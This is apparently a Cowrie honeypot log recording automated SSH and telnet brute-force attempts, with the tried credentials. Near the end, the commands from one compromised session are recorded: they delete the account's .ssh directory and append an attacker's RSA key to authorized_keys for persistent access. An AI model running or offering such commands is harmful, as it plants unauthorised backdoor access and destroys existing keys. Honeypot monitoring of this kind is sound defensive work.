{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:25.219572Z","src_ip":"103.129.221.202","session":"faa11d4c60ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"pass","message":"login attempt [test1/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:26.220667Z","src_ip":"103.129.221.202","session":"faa11d4c60ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:27.465908Z","src_ip":"103.129.221.202","session":"faa11d4c60ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":51826,"dst_ip":"10.17.0.5","dst_port":22,"session":"38c68fb4e47c","protocol":"ssh","message":"New connection: 103.13.206.100:51826 (10.17.0.5:22) [session: 38c68fb4e47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:29.567707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:29.579237Z","src_ip":"103.13.206.100","session":"38c68fb4e47c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:29.832022Z","src_ip":"103.13.206.100","session":"38c68fb4e47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Uq-4GIt3M","message":"login attempt [admin/Uq-4GIt3M] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:31.024786Z","src_ip":"103.13.206.100","session":"38c68fb4e47c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:32.274126Z","src_ip":"103.13.206.100","session":"38c68fb4e47c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":54192,"dst_ip":"10.17.0.5","dst_port":22,"session":"84fd50f8b437","protocol":"ssh","message":"New connection: 152.32.171.213:54192 (10.17.0.5:22) [session: 84fd50f8b437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:37.600220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:37.605188Z","src_ip":"152.32.171.213","session":"84fd50f8b437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:37.823718Z","src_ip":"152.32.171.213","session":"84fd50f8b437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:38.728225Z","src_ip":"152.32.171.213","session":"84fd50f8b437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:59:39.949092Z","src_ip":"152.32.171.213","session":"84fd50f8b437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":32848,"dst_ip":"10.17.0.5","dst_port":22,"session":"778a965d7d7c","protocol":"ssh","message":"New connection: 41.63.62.103:32848 (10.17.0.5:22) [session: 778a965d7d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:07.427795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:07.437106Z","src_ip":"41.63.62.103","session":"778a965d7d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:07.719722Z","src_ip":"41.63.62.103","session":"778a965d7d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"54321","message":"login attempt [admin/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:08.833676Z","src_ip":"41.63.62.103","session":"778a965d7d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:10.111563Z","src_ip":"41.63.62.103","session":"778a965d7d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":44268,"dst_ip":"10.17.0.5","dst_port":23,"session":"f796cc33f190","protocol":"telnet","message":"New connection: 185.53.58.141:44268 (10.17.0.5:23) [session: f796cc33f190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:13.424785Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":40590,"dst_ip":"10.17.0.5","dst_port":22,"session":"57b1053dcba4","protocol":"ssh","message":"New connection: 152.32.171.213:40590 (10.17.0.5:22) [session: 57b1053dcba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:45.045686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:45.051305Z","src_ip":"152.32.171.213","session":"57b1053dcba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:45.270028Z","src_ip":"152.32.171.213","session":"57b1053dcba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"password","message":"login attempt [ts3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:46.173418Z","src_ip":"152.32.171.213","session":"57b1053dcba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:47.525417Z","src_ip":"152.32.171.213","session":"57b1053dcba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":40522,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ef90606d8eb","protocol":"ssh","message":"New connection: 103.13.206.100:40522 (10.17.0.5:22) [session: 1ef90606d8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:47.963518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:47.968882Z","src_ip":"103.13.206.100","session":"1ef90606d8eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:48.219884Z","src_ip":"103.13.206.100","session":"1ef90606d8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitosis","message":"login attempt [git/gitosis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:49.186660Z","src_ip":"103.13.206.100","session":"1ef90606d8eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:50.423279Z","src_ip":"103.13.206.100","session":"1ef90606d8eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":41870,"dst_ip":"10.17.0.5","dst_port":22,"session":"0056ca9c88aa","protocol":"ssh","message":"New connection: 103.129.221.202:41870 (10.17.0.5:22) [session: 0056ca9c88aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:52.462990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:52.467744Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:52.713049Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00155568122864,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:53.135694Z","src_ip":"102.39.198.75","session":"da6dc49c1a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00110626220703,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:53.637072Z","src_ip":"102.39.198.75","session":"af2bca20eb88","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!","message":"login attempt [oracle/!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:53.876180Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:54.410874Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:54.414579Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:54.418770Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:54.668419Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:55.207236Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:55.210925Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:00:55.466612Z","src_ip":"103.129.221.202","session":"0056ca9c88aa","protocol":"ssh"}
